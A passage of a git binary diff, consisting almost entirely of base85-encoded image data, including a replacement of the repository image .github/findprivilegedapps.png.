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 Xw;z{HYP6q&SEAEY(^W;@vVQg-^>AM6 diff --git a/.github/findprivilegedapps.png b/.github/findprivilegedapps.png index 97f59c71578f8b14116148f0d405221c95819d19..a04648bbece841f6560d10b38fc377c0c408316a 100644 GIT binary patch literal 84008 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 